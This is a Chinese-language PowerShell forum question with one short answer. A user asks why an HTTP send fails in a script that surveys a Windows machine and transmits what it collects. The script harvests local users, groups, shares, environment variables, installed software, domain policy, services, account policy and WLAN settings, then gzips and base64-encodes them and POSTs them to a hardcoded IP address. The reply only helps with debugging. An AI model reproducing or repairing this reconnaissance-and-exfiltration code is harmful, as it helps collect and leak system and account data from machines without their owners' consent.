使用“1”个参数调用“send”时发生异常:“指定资源下载失败。 ”什么情况?


PowerShell交流中心分类: Powershell基础使用“1”个参数调用“send”时发生异常:“指定资源下载失败。 ”什么情况?
0
Wintersweet asked 9 年 ago

$pn = $env:COMPUTERNAME + ” Info”
$user = “http://192.168.1.125/”
$pass = “INPUT2”
$dev = “INPUT3”
function regv($rk, $rg,$ch)
{
if ($ch -eq “no”){$key = get-item $rk}
else{$key = ls $rk}
$key |
ForEach-Object {
$v = gp $_.PSPath
ForEach ($value in $_.Property)
{
if ($rg -eq “all”) {$v.$value}
elseif ($rg -eq “allname”){$value}
else {$v.$rg;break}
}}}
$o = “Logged in users:`n” + (regv “hklm:\software\microsoft\windows nt\currentversion\profilelist” “profileimagepath”)
$o = $o + “`n PS Env:`n” + (regv “hklm:\software\microsoft\powershell” “allname”)
$o = $o + “`n Shares:`n” + (regv “hklm:\SYSTEM\CurrentControlSet\services\LanmanServer\Shares” “all” “no”)
$o = $o + “`n Env vars:`n” + (regv “hklm:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment” “all” “no”)
$o = $o + “`n Current user:`n” + (regv “hkcu:\Volatile Environment” “all” “no”)
$o = $o + “`n Installed Apps:`n” + (regv “hklm:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” “displayname”)
$o = $o + “`n Installed Apps – user:`n” + (regv “hkcu:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall” “displayname”)
$o = $o + “`n Domain:`n” + (regv “hklm:\SOFTWARE\Microsoft\Windows\CurrentVersion\Group Policy\History\” “all” “no”)
$o = $o + “`n Contents of /etc/hosts:`n” + (gc -path “C:\windows\System32\drivers\etc\hosts”)
$o = $o + “`n Running Services:`n” + (net start)
$o = $o + “`n Account Policy:`n” + (net accounts)
$o = $o + “`n Local users:`n” + (net user)
$o = $o + “`n Local Groups:`n” + (net localgroup)
$o = $o + “`n WLAN Info:`n” + (netsh wlan show all)
$o = $o.Replace(“/”,”\”)
$pv = $o.Replace(“www”,”uuu”)
$r = [string]::Join(“`n”, $pv)
$ms = New-Object IO.MemoryStream
$cs = New-Object System.IO.Compression.GZipStream($ms, [System.IO.Compression.CompressionMode]::Compress)
$sw = New-Object System.IO.StreamWriter($cs)
$sw.Write($r)
$sw.Close()
$code = [Convert]::ToBase64String($ms.ToArray())
$code
function pht($url,$pars) {
$ht = New-Object -ComObject Msxml2.XMLHTTP
$ht.open(“POST”, $url, $false)
$ht.setRequestHeader(“Content-type”,”application/x-www-form-urlencoded”)
$ht.setRequestHeader(“Content-length”, $pars.length);
$ht.setRequestHeader(“Connection”, “close”)
$ht.send($pars)
$script:sk=$ht.responseText }
pht $user $code
 
所在位置 C:\Users\媛媛\Desktop\in.ps1:50 字符: 1
+ $ht.send($pars)
+ ~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (:) [], MethodInvocationException
+ FullyQualifiedErrorId : ComMethodTargetInvocation

1 Answers
0
RozenAnnie answered 9 年 ago

你代码的第二行
$user = “http://192.168.1.125/”
只有一个引号?
而且为什么你代码里的引号都是中文的,是粘贴的时候出了问题吗?

Wintersweet replied 9 年 ago

粘贴的时候出了问题